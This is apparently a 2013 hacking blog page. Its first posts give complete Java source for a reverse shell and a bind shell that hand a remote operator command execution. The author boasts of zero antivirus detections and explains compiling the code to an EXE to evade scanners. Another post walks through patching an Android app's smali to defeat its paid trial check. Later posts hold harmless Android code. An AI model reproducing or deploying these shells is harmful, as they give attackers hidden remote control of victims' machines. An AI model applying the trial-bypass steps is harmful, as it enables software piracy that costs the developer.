Tuesday, January 29, 2013

46 x AntiVirus Software Fail Again …. Java Reverse Bind Shell 100 % FUD

Posted by at Tuesday, January 29, 2013

After the Bind shell some times its better to have some reverse shell.

And i know all this Fucking Good AntiVirus Software Fail Again you dont Trust me ?

Lets get Dirty Zwinkerndes Smiley

reverseshell

Detection ratio:
0 / 45

Lets Test if it Work :

reverseshelltest

We got a shell YeaHhhHHhH Zwinkerndes Smiley

hmmm what up with all this fucking AntiVirus Software ? I Upload a Reverse SHell it Connect to my Host and open all doors for me  ….. shame on you ….

Java is Gay we need a Executable=Exe its much better,now lets Convert the Java Code to Machine code.
Download J2Free and Convert it to Machine code.
Now lets Check your New EXE File Again on VirusTotal.

virustotalexe

File size:
154.8 KB ( 158566 bytes )

File name:
reverseshellbin.exe

File type:
Win32 EXE

Detection ratio:
0 / 43

What up wih all This Fuck good expensive AntiVirus Software ?

0/43 you can safe exeute it on your system No Panic its Clean its connect only to a host and give me all rights from your System.

….. shame on you ….

Lets Testing it Again if it Work :

reverseexetest

We g0t a sHell yeaHhHhHHhHhHH We are Now One  …..

Have pfun …. security is just an illusion Zwinkerndes Smiley

reverseshell.java

import java.applet.Applet;
import java.io.BufferedReader;
import java.io.File;
import java.io.InputStreamReader;
import java.io.PrintWriter;
import java.net.Socket;
import java.util.LinkedList;
import java.util.Scanner;
import java.util.regex.Matcher;
import java.util.regex.Pattern;

/*Reverse Bindshell TCP 31337
* http://security-is-just-an-illusion.blogspot.de/
*
* Reverse Bind Tcp Shell to Port 31337
* Security is just an Illusion
* Use Netcat to Listen ...
*
* by cr4shhyy
*/

/*Reverse Bindshell TCP 31337
* http://security-is-just-an-illusion.blogspot.de/
*
* Reverse Bind Tcp Shell to Port 31337
* Security is just an Illusion
* Use Netcat to Listen ...
*
* by cr4shhyy
*/

/*Reverse Bindshell TCP 31337
* http://security-is-just-an-illusion.blogspot.de/
*
* Reverse Bind Tcp Shell to Port 31337
* Security is just an Illusion
* Use Netcat to Listen ...
*
* by cr4shhyy
*/

public class reverseshell extends Applet{
public String cd(String start, File currentDir) {
File fullPath = new File(currentDir.getAbsolutePath());
String sparent = fullPath.getAbsoluteFile().toString();
return sparent + "/" + start;
}

@SuppressWarnings("unchecked")
public static void main(String[] args) {
reverseshell rs = new reverseshell();
PrintWriter out;
System.out.print("Welcome to cr4shyyy Reverse bind shell .... ");
System.out.print("ListenIP: 127.0.0.1 ");
System.out.print("Listenport : 31337 ");
try {
Socket clientSocket = new Socket("127.0.0.1",31337); //Open New Sockz
out = new PrintWriter(clientSocket.getOutputStream(), true); // Print Spam .....
out.println("-----------------------------------------------------------------------------");
out.println("-----------------------------------------------------------------------------");
out.println("Reverse BindShell ....");
out.println("Kevin I need a Job ....");
out.println("Whatzzz up ? Same like everyday pwn the Planet ...");
out.println("-----------------------------------------------------------------------------");
out.println("Sample cmd /c dir or bash -c ls");
out.println("-----------------------------------------------------------------------------");
out.println("http://security-is-just-an-illusion.blogspot.de/");

boolean run = true;
String s;
BufferedReader br = new BufferedReader(new InputStreamReader(clientSocket.getInputStream()));
String startort = "/";
while (run) {
String z1;
File f = new File(startort);
out.println(f.getAbsolutePath() + "> ");
s = br.readLine();
z1 = s;
Pattern pcd = Pattern.compile("^cd\\s");
Matcher mcd = pcd.matcher(z1);
String[] teile1 = pcd.split(z1);
if (s.equals("exit")) {
run = false;
}else if (s.equals(null) || s.equals("cmd") || s.equals("")) {

} else if(mcd.find()){
try {
String cds = rs.cd(teile1[1], new File(startort));
startort = cds;
} catch (Exception verz) {
out.println("Path " + teile1[1]
+ " not found.");
}

}else {

String z2;


z2 = s;
Pattern pstring = Pattern.compile("\\s");
String[] plist = pstring.split(z2);

try {

LinkedList slist = new LinkedList();
for (int i = 0; i < plist.length; i++) {
slist.add(plist[i]);
}

ProcessBuilder builder = new ProcessBuilder(slist);
builder.directory(new File(startort));
Process p = builder.start();
Scanner se = new Scanner(p.getInputStream());
if (!se.hasNext()) {
Scanner sa = new Scanner(p.getErrorStream());
while (sa.hasNext()) {
out.println(sa.nextLine());
}
}
while (se.hasNext()) {
out.println(se.nextLine());
}


} catch (Exception err) {
out.println(f.getAbsolutePath() + "> Command "
+ s + " failed!");
out.println("g0t r00t?");
}

}
}

if(!clientSocket.isConnected()){
run = false;
out.flush();
out.close();
}

} catch (Exception io) {
System.err.println("Connection refused by peer Reconnecting");
main(args); // Loop if Connection fail
}

}

}

/*Reverse Bindshell TCP 31337
* http://security-is-just-an-illusion.blogspot.de/
*
* Reverse Bind Tcp Shell to Port 31337
* Security is just an Illusion
* Use Netcat to Listen ...
*
* by cr4shhyy
*/

/*Reverse Bindshell TCP 31337
* http://security-is-just-an-illusion.blogspot.de/
*
* Reverse Bind Tcp Shell to Port 31337
* Security is just an Illusion
* Use Netcat to Listen ...
*
* by cr4shhyy
*/

/*Reverse Bindshell TCP 31337
* http://security-is-just-an-illusion.blogspot.de/
*
* Reverse Bind Tcp Shell to Port 31337
* Security is just an Illusion
* Use Netcat to Listen ...
*
* by cr4shhyy
*/


Use it for Personal use or study purposes.

46 x AntiVirus Software Fail …. Java Bind Shell 100 % FUD

Posted by at Tuesday, January 29, 2013
java-virus
Thats why you dont need too buy a AntiVirus Software ….
Security is just an illusion yeah i think too Zwinkerndes Smiley

Now Lets check on VirusTotal your new Java Payload.
The Results are :
virustotalfud
Detection ratio:
0 / 46
1# Virustotal Scan 
Lets test the Java Payload if it work.
Open a cmd go to the bin Folder of the Java Class Enter “java serv” to start the Java Payload Class
javaclass
Start NetCat thats we can connect to 127.0.0.1  on Port 31337.
shell
We got a shell YeahHhhHh !!! Nothing New Zwinkerndes Smiley
Java is Gay we need a Executable=Exe its much better,now lets Convert the Java Code to Machine code.
Download J2Free and Convert it to Machine code.
Now lets Check your New EXE File Again on VirusTotal.

javaexe
Detection ratio:
0 / 46
2# Virustotal Scan 
Hmm 46 x Fail again we Really need some AntiVirus ?
Testing Again if it Work ….
exefail
The BindShell is Again Working on Windows 8 ….. g0t r00t ? Windows Firewall fail toooo on localhost ……
Nothing to say ……Have pfun
cr4shyyybind.java
/*Bindshell TCP 31337
 * http://security-is-just-an-illusion.blogspot.de/
 * 
 *    Bind Tcp Shell to Port 31337
 *    Security is just an Illusion
 *    Use Netcat to connect ...
 *    
 *    by cr4shhyy
 */

/*Bindshell TCP 31337
 * http://security-is-just-an-illusion.blogspot.de/
 * 
 *    Bind Tcp Shell to Port 31337
 *    Security is just an Illusion
 *    Use Netcat to connect ...
 *    
 *    by cr4shhyy
 */

/*Bindshell TCP 31337
 * http://security-is-just-an-illusion.blogspot.de/
 * 
 *    Bind Tcp Shell to Port 31337
 *    Security is just an Illusion
 *    Use Netcat to connect ...
 *    
 *    by cr4shhyy
 */

import java.io.*;
import java.net.*;


public class serv  // Open New Socks
{
 public serv (int cr4shyyy) 
 {
   
  ServerSocket server = StartServer(cr4shyyy);
     String shell = getShell();
  try {            
      while (true) {  
       Socket sock = server.accept();
          Process proc = new ProcessBuilder(shell).start();
          (new StreamConnector(proc.getInputStream(), sock.getOutputStream())).start();
          (new StreamConnector(sock.getInputStream(), proc.getOutputStream())).start();
      }
  }
  catch(Exception e) {
   System.out.println( e.getMessage() );
  }
   
 }
 public String getShell() // Get shell 
 {
     String shell = null;
     if (System.getProperty("os.name").toLowerCase().matches("win"))
      shell = "cmd.exe";
     else
      shell = "cmd.exe";
     return shell;
 }
 public ServerSocket StartServer(int cr4shyyy)
 {
    
  ServerSocket server = null;
  try {
   server = new ServerSocket(cr4shyyy); //Start Socket
   System.out.print("Welcome to cr4shyyy java bind shell .... ");
   System.out.print("Listenport : 31337 ");
  }
  catch (Exception e) { // Exception Handler
   System.out.println( e.getMessage() );
   System.exit(0);
  }
  return server;
 }
 
 class StreamConnector extends Thread // Buffer IN/OUTPUT
 {
         InputStream is;
         OutputStream os;

         StreamConnector(InputStream is, OutputStream os)
         {
                 this.is = is;
                 this.os = os;
         }

         public void run()
         {
                 BufferedReader isr = null;
                 BufferedWriter osw = null;

                 try
                 {
                         isr = new BufferedReader(new InputStreamReader(is));
                         osw = new BufferedWriter(new OutputStreamWriter(os));

                         char buffer[] = new char[8192];
                         int lenRead;

                         while( (lenRead = isr.read(buffer, 0, buffer.length)) > 0)
                         {
                                 osw.write(buffer, 0, lenRead);
                                 osw.flush(); // Write Buffer
                         }
                 }
                 catch (Exception ioe){
                  System.out.println( ioe.getMessage() );
                 }

                 try
                 {
                         if(isr != null) isr.close();
                         if(osw != null) osw.close();
                 }
                 catch (Exception ioe){
                  System.out.println( ioe.getMessage() );
                 }
         }
 }
 
 public static void main (String args[]) 
 {
  @SuppressWarnings("unused")
  serv bs = new serv(31337); // Listen Port .....
 }
}

/*Bindshell TCP 31337
 * http://security-is-just-an-illusion.blogspot.de/
 * 
 *    Bind Tcp Shell to Port 31337
 *    Security is just an Illusion
 *    Use Netcat to connect ...
 *    
 *    by cr4shhyy
 */

/*Bindshell TCP 31337
 * http://security-is-just-an-illusion.blogspot.de/
 * 
 *    Bind Tcp Shell to Port 31337
 *    Security is just an Illusion
 *    Use Netcat to connect ...
 *    
 *    by cr4shhyy
 */

/*Bindshell TCP 31337
 * http://security-is-just-an-illusion.blogspot.de/
 * 
 *    Bind Tcp Shell to Port 31337
 *    Security is just an Illusion
 *    Use Netcat to connect ...
 *    
 *    by cr4shhyy
 */


Use it for Personal use or study purposes.

Monday, January 28, 2013

BlackBeats.FM Player by cr4shyyy

Posted by at Monday, January 28, 2013

blackbeats

I love BlackMusic and BlackBeats.FM too Zwinkerndes Smiley

I wrote this simple BlackBeats.FM Player i used this Source code to do it.

Servestream Projects

Here the Result :

BlackBeatsFM Android Player Download Here

BlackBeatsFM Android Player Source Code // I upload it later if i got Time.

StartIntro :

intro

Widget :

192.168.178.28

Player :

bildschirmfoto(1)

Have pfun and Thanks to Servestream Projects for the Source and Blackbeats.FM for the Music.

Android Simple Blog Reader

Posted by at Monday, January 28, 2013

AndroidWallpaper

I wrote a simple Blog Reader for Android.

Its very very simple its load the url into a webview.

Download Here

Download Source Code Here

MainActivity.java

package com.woot.securityisjustanillusion;

import android.os.Bundle;
import android.app.Activity;
import android.content.Context;
import android.content.Intent;
import android.view.Menu;

public class MainActivity extends Activity {

public void onCreate(Bundle savedInstanceState) {
final Context context = this;

super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
Intent intent = new Intent(context, WebViewActivity.class);
startActivity(intent);
MainActivity.this.finish();
}

@Override
public boolean onCreateOptionsMenu(Menu menu) {
// Inflate the menu; this adds items to the action bar if it is present.
getMenuInflater().inflate(R.menu.activity_main, menu);
return true;
}

}


WebViewActivity.java



package com.woot.securityisjustanillusion;

import android.app.Activity;
import android.os.Bundle;
import android.webkit.WebSettings;
import android.webkit.WebView;
import android.webkit.WebViewClient;

public class WebViewActivity extends Activity{

WebView webView;

@Override
public void onCreate(Bundle savedInstanceState){
super.onCreate(savedInstanceState);
setContentView(R.layout.webview);

webView = (WebView) findViewById(R.id.webView1);
gotoPage();
};


private void gotoPage(){
WebSettings webSettings = webView.getSettings();
webSettings.setBuiltInZoomControls(true);

webView.setWebViewClient(new Callback());
webView.loadUrl("http://security-is-just-an-illusion.blogspot.de");

}

private class Callback extends WebViewClient{

@Override
public boolean shouldOverrideUrlLoading(WebView view, String url) {
return (false);
}

}

}


 



Have pfun ….

Friday, January 25, 2013

Android Break The Limits Reverse Engineering

Posted by at Friday, January 25, 2013
android_hack_logo
Android Reverse Engineering by cr4shyyy
Taget : os.devwom.usbsharereval  sry devwom Zwinkerndes Smiley
Taget version ; os.devwom.usbsharereval-2_1.6.1.3.apk
ROOTED DEVICE IS MANDATORY!!
7 days evaluation version.
Share only selected files or usb virtual, LUKS encrypted or unencrypted, disks via usb with PC/Radio car/Player ...
Also mount virtual Un/encrypted images in your device.
* Share only selected folder/directory.
* Share only desired files, preventing visibility of undesired files on your SD card.
To do this, select desired files with your favorite application and use "Usb Sharer" to this job.
* Create virtual USB encrypted or unencrypted disks and share only files inside it, rejecting access to other files in your sdcard.
Also you will encrypt all files and data if your disk is selected as encrypted. By default encryption is AES, and uses LUKS standard.

Its a very cool App,i have buy it too.
Now i want to test to reverse the the eval version.apk.
7 days evaluation version hmmm ? Zwinkerndes Smiley
Time to Reverse it !!!
Get some Decompiler i used apktool to Decompile it.
 
apktool d <file.apk> <directory to output to>
apktool b <directory of decoded apk>

After decompile we can see the smalicode and other files.
Here some sample code

.class public Los/devwom/usbsharereval/usbShare;
.super Los/devwom/usbsharereval/usbEventsHandler;
.source "usbShare.java"

# interfaces
.implements Landroid/view/View$OnClickListener;
.implements Landroid/widget/CompoundButton$OnCheckedChangeListener;
.implements Los/devwom/usbsharereval/actionManager$ActionDoneListener;


# static fields
.field private static final ACTIVATE_DATE:Ljava/lang/String; = "2013-01-13"
.field private static final ELATIME:J = 0x2932e000L
.field private static final FINAL_DATE:Ljava/lang/String; = "2013-03-13"
.field private static final LOG_TAG:Ljava/lang/String;
.field private static expDays:J
.field private static haVencido:Z
.field private static final imageExtensions:[Ljava/lang/String;
.field private static proChecked:Z

Cool now we can read some smali code Zwinkerndes Smiley Cool things we can read

ACTIVATE_DATE:Ljava/lang/String; = "2013-01-13"

.field private static final FINAL_DATE:Ljava/lang/String; = "2013-03-13"

Now we start the App on your Android Device.And we see this screen i hope .

shot_000003
Yeah i got 8 days with a simple trick pull the date back Zwinkerndes Smiley
After the 8 days we will see this screen. Trauriges Smiley

shot_000002
hmmm now its over  we need to buy the Full version or Uninstall it  ……
No … Now its time to get dirty Smiley

We can read some string “Do you want buy full version?" Its a good Point to Start.
Now we search for “Do you want buy full version“ on the smaili code.

This is what i found.

<string name="wantbuy">Do you want buy full version?</string>

Now we search for “wantbuy” Next found Zwinkerndes Smiley

.field public static final virtualimage:I = 0x7f070029
.field public static final wantbuy:I = 0x7f07005b
.field public static final wantinstallscriptmanager:I = 0x7f070040

wantbuy got the Offset wantbuy:I = 0x7f07005b
Now lets search for the Offset 0x7f07005b

    .line 672
    invoke-static {p0}, Los/devwom/usbsharereval/usbShare;->vencido(Landroid/app/Activity;)Z

    move-result v3

    if-eqz v3, :cond_0

    .line 673
    new-instance v1, Landroid/app/AlertDialog$Builder;

    invoke-direct {v1, p0}, Landroid/app/AlertDialog$Builder;-><init>(Landroid/content/Context;)V

    .line 674
    .local v1, dlg:Landroid/app/AlertDialog$Builder;
    const v3, 0x7f07005a

    invoke-virtual {v1, v3}, Landroid/app/AlertDialog$Builder;->setTitle(I)Landroid/app/AlertDialog$Builder;

    .line 675
    const v3, 0x7f07005b

    invoke-virtual {v1, v3}, Landroid/app/AlertDialog$Builder;->setMessage(I)Landroid/app/AlertDialog$Builder;

This is what i found.
Landroid/app/AlertDialog$Builder;->setMessage(I)Landroid/app/AlertDialog$Builder
It tell us thats he built a AlertDialog with a Msgbox from the offset from wantbuy.
Here is the pic for this sample code

shot_000002

Now we can control the smali code and have Reverse Engineering it.
We need now to search for a If Statements like

if my penis bigger than yours do anything to become a bigger one.

In smaili code its looks like this.
 if-eqz v3, :cond_0

Now we change the “if-eqz v3, :cond_0” to “if-eqz v1, :cond_0”  and we will never see again the AlertDialogBox ;)

and now we skipped the hole AlertDialog Zwinkerndes Smiley Really ? Yeahhhh
Lets test it

apktool b Reverse unsecure.apk
Sign the new apk with any apk sign tool Like auto-sign apk google it.

The Results are :

shot_000004

Thats all we are done with Reverse Engineering and got a full working copy of usbsharereval.
Sry devwom i hope you read my blog and learn anything Zwinkerndes Smiley

Used for Personal use or study purposes.




Android Knockd Client

Posted by at Friday, January 25, 2013

sheldonknockpenny

Big thanks to Alexis for the source Code.
I have the source code changed a bit
Knockd Android Client Apk
Knockd Android Client Source
DBAdapter.java
package com.alexis.portknocking;

import android.content.ContentValues;
import android.content.Context;
import android.database.Cursor;
import android.database.sqlite.SQLiteDatabase;
import android.database.sqlite.SQLiteOpenHelper;

public class DBAdapter {
 private Context ctx;
 private DBOpenHelper helper;
 private SQLiteDatabase db;
 
 public static final String KEY_ID = "_id";
 public static final String KEY_HOST = "host";
 public static final String KEY_PORT = "port";
 public static final String KEY_STARTSTOP = "startstop";
 
 public static final int START_MODE = 0;
 public static final int STOP_MODE = 1;
 
 private static class DBOpenHelper extends SQLiteOpenHelper {
  public DBOpenHelper(Context context) {
   super(context, "hostlist.db", null, 3);
  }

  @Override
  public void onCreate(SQLiteDatabase db) {
   db.execSQL("CREATE TABLE hosts (_id INTEGER PRIMARY KEY, " +
     "host STRING, " +
     "port INTEGER, " +
     "startstop INTEGER DEFAULT 0," +
     "position INTEGER DEFAULT 0);");
   
   /* Triggers for computing position after DELETE/UPDATE-ing an host. */
   db.execSQL("CREATE TRIGGER host_delete_recalcpos AFTER DELETE ON " +
     "hosts FOR EACH ROW BEGIN UPDATE hosts " +
     "SET position=position-1 WHERE position>old.position; " +
     "END;");
   
   db.execSQL("CREATE TRIGGER host_update_recalcpos BEFORE UPDATE OF position " +
     "ON hosts FOR EACH ROW BEGIN UPDATE hosts " +
     "SET position=old.position WHERE position=new.position; " +
     "END;"); // I love involutive bijections!
  }

  @Override
  public void onUpgrade(SQLiteDatabase db, int oldVersion, int newVersion) {
   //db.execSQL("DROP TABLE IF EXISTS hosts");
   //onCreate(db);
  }
 }
 
 public DBAdapter(Context ctx) {
  this.ctx = ctx;
 }
 
 public void open() {
  helper = new DBOpenHelper(this.ctx);
  db = helper.getWritableDatabase();
 }
 
 public void close() {
  db.close();
 }
 
 public int[] getHosts(long startstop) {
  Cursor c = db.query("hosts", 
    new String[]{"_id"}, "startstop="+startstop, null, null, null, "position");
  
  int[] data = new int[c.getCount()];
  c.moveToFirst();
  
  for (int i = 0; i < c.getCount(); i++) {
   data[i] = c.getInt(0);
   c.moveToNext();
  }
  
  c.close();
  
  return data;
 }
 
 public String getHost(int id) {
  Cursor c = db.query("hosts", 
    new String[]{"host"}, "_id ="+id, null, null, null, null);
  String host;
  
  c.moveToFirst();
  host = c.getString(0);
  c.close();
  
  return host;
 }
 
 public int getPort(int id) {
  // TODO: WARNING SQL INJECTION!
  Cursor c = db.query("hosts",
    new String[]{"port"}, "_id = "+id, null, null, null, null);
  c.moveToFirst();
  int result = c.getInt(0);
  c.close();
  
  return result;
 }
 
 public Cursor getRawHosts(int startstop) {
  return db.query("hosts", null, "startstop="+startstop, null, null, null, "position");
 }
 
 public Cursor getRawHost(long id) {
  Cursor c = db.query("hosts", null, "_id = "+String.valueOf(id), null, null, null, null);
  if (c != null)
   c.moveToFirst();
  return c;
 }
 
 public void createHost(String host, Long port, int startstop) {
  db.execSQL("INSERT INTO hosts (host,port,position,startstop) VALUES (?,?,(SELECT " +
    "IFNULL(MAX(position)+1,0) " +
    "FROM hosts WHERE startstop=?),?)", new Object[]{host, port, startstop, startstop});
 }
 
 public void updateHost(long id, String host, Long port) {
  ContentValues args = new ContentValues();
  args.put(KEY_HOST, host);
  args.put(KEY_PORT, port);
  
  db.update("hosts", args, KEY_ID+"="+id, null);
 }
 
 public void deleteHost(long id) {
  db.delete("hosts", KEY_ID+"="+id, null);
 }
 
 public void upHost(long id) {
  db.execSQL("UPDATE hosts SET position = position-1 WHERE _id=?", new Object[]{id});
 }
 
 public void downHost(long id) {
  db.execSQL("UPDATE hosts SET position = position+1 WHERE _id=?", new Object[]{id});
 }
}


HostEdit.java


package com.alexis.portknocking;

import android.app.Activity;
import android.database.Cursor;
import android.os.Bundle;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;

// TODO: Use pause/resume/saved states for automatic DB saving

public class HostEdit extends Activity {
 private Long rowid;
    private DBAdapter dbadapter;
    private EditText wHost;
    private EditText wPort;
    private Button wCancelButton;
    
 private int activity_mode = DBAdapter.START_MODE;
 
    @Override
 protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.hostedit);
        this.setTitle("Add a host");
        
        dbadapter = new DBAdapter(this);
        dbadapter.open();
        
        wHost = (EditText)findViewById(R.id.EditText01);
        wPort = (EditText)findViewById(R.id.EditText02);
        
        wCancelButton = (Button)findViewById(R.id.Button02);
        wCancelButton.setOnClickListener(new View.OnClickListener() {
         public void onClick(View view) {
          setResult(RESULT_CANCELED);
          finish();
         }
        });
        
        Button savebutton = (Button)findViewById(R.id.Button01);
        savebutton.setOnClickListener(new View.OnClickListener() {
         public void onClick(View view) {
          commit();
          
          setResult(RESULT_OK);
          finish();
         }
        });
        
        Bundle extras = getIntent().getExtras();
        if (extras != null) {
         activity_mode = extras.getInt(DBAdapter.KEY_STARTSTOP);
         if (extras.containsKey(DBAdapter.KEY_ID)) {
             rowid = extras.getLong(DBAdapter.KEY_ID);
          populateFields();
         }
        }
    }
    
 private void populateFields() {
  if (rowid != null) {   
   Cursor host = dbadapter.getRawHost(rowid);
   startManagingCursor(host);
   
   wPort.setText(String.valueOf(host.getInt(host.getColumnIndexOrThrow(DBAdapter.KEY_PORT))));
   wHost.setText(host.getString(host.getColumnIndexOrThrow(DBAdapter.KEY_HOST)));
  }
 }
 
 private void commit() {
  if (rowid == null) {
   dbadapter.createHost(wHost.getText().toString(), Long.valueOf(wPort.getText().toString()), activity_mode);
  } else {
   dbadapter.updateHost(rowid, wHost.getText().toString(), Long.valueOf(wPort.getText().toString()));
  }
 }
}





HostList.java


package com.alexis.portknocking;

import android.app.ListActivity;
import android.content.Intent;
import android.database.Cursor;
import android.os.Bundle;
import android.view.ContextMenu;
import android.view.Menu;
import android.view.MenuItem;
import android.view.View;
import android.widget.ListView;
import android.widget.SimpleCursorAdapter;
import android.widget.AdapterView.AdapterContextMenuInfo;

public class HostList extends ListActivity { 
 private static final int ACTIVITY_ADD = 0;
 private static final int ACTIVITY_EDIT = 0;
 
 private int activity_mode = DBAdapter.START_MODE;
 
 private DBAdapter dbadapter;
 
    @Override
 protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        this.setTitle("Port knocking settings");
        
     Bundle extras = getIntent().getExtras();
     if (extras != null) {
      activity_mode = extras.getInt(DBAdapter.KEY_STARTSTOP);
     }
     
     registerForContextMenu(this.getListView());
        
        dbadapter = new DBAdapter(this.getApplicationContext());
     dbadapter.open();
     
     updateList();
    }
    
    @Override
    public boolean onCreateOptionsMenu(Menu menu) {
        super.onCreateOptionsMenu(menu);
        MenuItem menuit = menu.add(0, Menu.FIRST, 0, "Add");
        menuit.setIcon(android.R.drawable.ic_menu_add);

        return true;
    }
    
    @Override
    public void onCreateContextMenu(ContextMenu menu, View v, ContextMenu.ContextMenuInfo menuInfo) {
     super.onCreateContextMenu(menu, v, menuInfo);
     menu.add(0, Menu.FIRST+1, 0, "Edit");
     menu.add(1, Menu.FIRST+2, 0, "Up");
     menu.add(2, Menu.FIRST+3, 0, "Down");
     menu.add(3, Menu.FIRST+4, 0, "Delete");
    }
    
    @Override
    public boolean onContextItemSelected(MenuItem item) {
     super.onContextItemSelected(item);
     AdapterContextMenuInfo info = (AdapterContextMenuInfo)item.getMenuInfo();
     switch(item.getItemId()) {
     case Menu.FIRST+1:
      onListItemClick(this.getListView(), null, info.position, info.id);
      return true;
     case Menu.FIRST+2:
      dbadapter.upHost(info.id);
         updateList();
      return true;
     case Menu.FIRST+3:
      dbadapter.downHost(info.id);
         updateList();
      return true;
     case Menu.FIRST+4:
      dbadapter.deleteHost(info.id);
      updateList();
      return true;
     }
  return false;
    }
    
    @Override
    public boolean onMenuItemSelected(int featureId, MenuItem item) {
        switch(item.getItemId()) {
        case Menu.FIRST:
            Intent i = new Intent(this, HostEdit.class);
            i.putExtra(DBAdapter.KEY_STARTSTOP, activity_mode);
            startActivityForResult(i, ACTIVITY_ADD);
            return true;
        }
        
        return super.onMenuItemSelected(featureId, item);
    }
    
    @Override
    protected void onListItemClick(ListView l, View v, int position, long id) {
        super.onListItemClick(l, v, position, id);
        Intent i = new Intent(this, HostEdit.class);
        i.putExtra(DBAdapter.KEY_ID, id);
        startActivityForResult(i, ACTIVITY_EDIT);
    }
    
    public void updateList() {
     Cursor hostsCursor = dbadapter.getRawHosts(activity_mode);
     startManagingCursor(hostsCursor);
     
     String[] from = new String[]{"host", "port"};
     int[] to = new int[]{R.id.TextView01, R.id.TextView02};
     
     SimpleCursorAdapter hosts = new SimpleCursorAdapter(this, R.layout.hostitem, hostsCursor, from, to);
     setListAdapter(hosts);
    }
}

Knock.java





package com.alexis.portknocking;

import java.io.IOException;
import java.net.ConnectException;
import java.net.Socket;
import java.net.UnknownHostException;

public class Knock {
 public static boolean doKnock(String host, int port) {
  Socket s;
  try {
   s = new Socket(host, port);
   if (s.isConnected())
    s.close();
  } catch (UnknownHostException e) {
   e.printStackTrace();
   return false;
  } catch (ConnectException e) {
   // We dismiss "connection refused" as knockd operates at link-layer
  } catch (IOException e) {
   e.printStackTrace();
   return false;
  }
  
  return true;
 }
}


PortKnocking.java


package com.alexis.portknocking;

import android.app.Activity;
import android.app.ProgressDialog;
import android.content.Intent;
import android.graphics.Color;
import android.os.Bundle;
import android.os.CountDownTimer;
import android.os.Handler;
import android.util.Log;
import android.view.Menu;
import android.view.MenuItem;
import android.view.View;
import android.widget.Button; 
import android.widget.ImageView;
import android.widget.TextView;

public class PortKnocking extends Activity {
    private static final int ACTIVITY_SETTINGS=0;
 private DBAdapter dbadapter;
 private Handler mHandler = new Handler();
 private ProgressDialog d;
 private boolean success = true;
 
 private void launchKnocking(View view, int startstop) {
  d = ProgressDialog.show(view.getContext(), "Knock Knock Knock ...", "Please wait ...", true);
  
  final int startstop_final = startstop; // TODO: Learn how to use threads.
  
  new Thread(new Runnable() {
   public void run() {
    int[] hosts = dbadapter.getHosts(startstop_final);
    
    for (int i = 0; i < hosts.length; i++) {
     int id = hosts[i];
     final String host = dbadapter.getHost(id);
     final int port = dbadapter.getPort(id);
     mHandler.post(new Runnable() {
      public void run() {
       d.setMessage(String.format("Pinging %s:%d ...", host, port));
       Log.i("PortKnocker", String.format("Pinging %s:%d ...", host, port));
      };
     });
     
     success = true;
     if (!Knock.doKnock(host, port))
      success = false;     
    }
    
    mHandler.post(new Runnable() {
     public void run() {
      d.dismiss();
      
      endKnocking();
     }
    });
   }
  }).start();  
  final TextView text = (TextView) findViewById(R.id.texttimer);
  text.setText("");
  new CountDownTimer(30000, 1000) {

       @Override
   public void onTick(long millisUntilFinished) {
           text.setText("Your Door is Now Open for : " + millisUntilFinished / 1000 + "Seconds");
           ImageView img = (ImageView) findViewById(R.id.imageView1);
           img.setImageResource(R.drawable.opendoor);
           TextView text = (TextView) findViewById(R.id.texttimer);
           text.setTextColor(Color.parseColor("#7CFC00"));
       }

       @Override
   public void onFinish() {
           text.setText("Your Door are Closed Now !!!");
           ImageView img = (ImageView) findViewById(R.id.imageView1);
           img.setImageResource(R.drawable.armitagelogo);
           TextView text = (TextView) findViewById(R.id.texttimer);
           text.setTextColor(Color.parseColor("#FF0000"));
       }
    }.start();
 }
 
 
 public void endKnocking() {
  //AlertDialog.Builder alert = new AlertDialog.Builder(this);
  //alert.setTitle("Port knocking");

  if (success) {
   //alert.setMessage("Knocking complete !");
  } else {
   //alert.setMessage("An error occured during knocking !");
  }
  
  //alert.show();
 }
 
    @Override
    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.main);
        
     dbadapter = new DBAdapter(this.getApplicationContext());
     dbadapter.open();
     
     Button startButton;
     Button stopButton;
        
        startButton = (Button)findViewById(R.id.Button01);
        startButton.setOnClickListener(new View.OnClickListener() {
         public void onClick(View view) {
          launchKnocking(view, DBAdapter.START_MODE);
         }
        });
        
        stopButton = (Button)findViewById(R.id.Button02);
        stopButton.setOnClickListener(new View.OnClickListener() {
         public void onClick(View view) {
          launchKnocking(view, DBAdapter.STOP_MODE);
         }
        });
    }
    
    @Override
    public boolean onCreateOptionsMenu(Menu menu) {
        super.onCreateOptionsMenu(menu);
        MenuItem menuit = menu.add(0, Menu.FIRST, 0, "Settings");
        menuit.setIcon(android.R.drawable.ic_menu_preferences);
        return true;
    }
    
    @Override
    public boolean onMenuItemSelected(int featureId, MenuItem item) {
        switch(item.getItemId()) {
        case Menu.FIRST:
            Intent i = new Intent(this, Settings.class);
            startActivityForResult(i, ACTIVITY_SETTINGS);
            return true;
        }
       
        return super.onMenuItemSelected(featureId, item);
    }
}


Settings.java


package com.alexis.portknocking;

import android.app.TabActivity;
import android.content.Intent;
import android.os.Bundle;
import android.widget.TabHost;

public class Settings extends TabActivity {
    @Override
    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        
        TabHost thost = getTabHost();
        thost.setup();
        
        TabHost.TabSpec startspec = thost.newTabSpec("start");
        Intent startintent = new Intent(this, HostList.class);
        startintent.putExtra(DBAdapter.KEY_STARTSTOP, DBAdapter.START_MODE);
        startspec.setContent(startintent);
        startspec.setIndicator("HOST", getResources().getDrawable(R.drawable.start));
        thost.addTab(startspec);
        
        //TabHost.TabSpec stopspec = thost.newTabSpec("stop");
        //Intent stopintent = new Intent(this, HostList.class);
        //stopintent.putExtra(DBAdapter.KEY_STARTSTOP, DBAdapter.STOP_MODE);
        //stopspec.setContent(stopintent);
        //stopspec.setIndicator("Stop", getResources().getDrawable(R.drawable.stop));
        //thost.addTab(stopspec);
    }
}

Syntax Higlighter 2.0 for Windows Live Writer

Posted by at Friday, January 25, 2013
20040510-vim_syntax_light_bg
#include<stdio.h>
#include<time.h>
#include<windows.h>
#include <stdlib.h>
 
int main()
{
struct tm *tmp;
time_t s;
 
for(;;)
{
s = time(NULL);
tmp = localtime(&t);
 
    printf("%d:%0d:%d\n",tmp->tm_hour,tmp->tm_min,tmp->tm_sec);
     
    Sleep(1000);
     
    system ("cls");
 
} 
 
     
return 0;
}

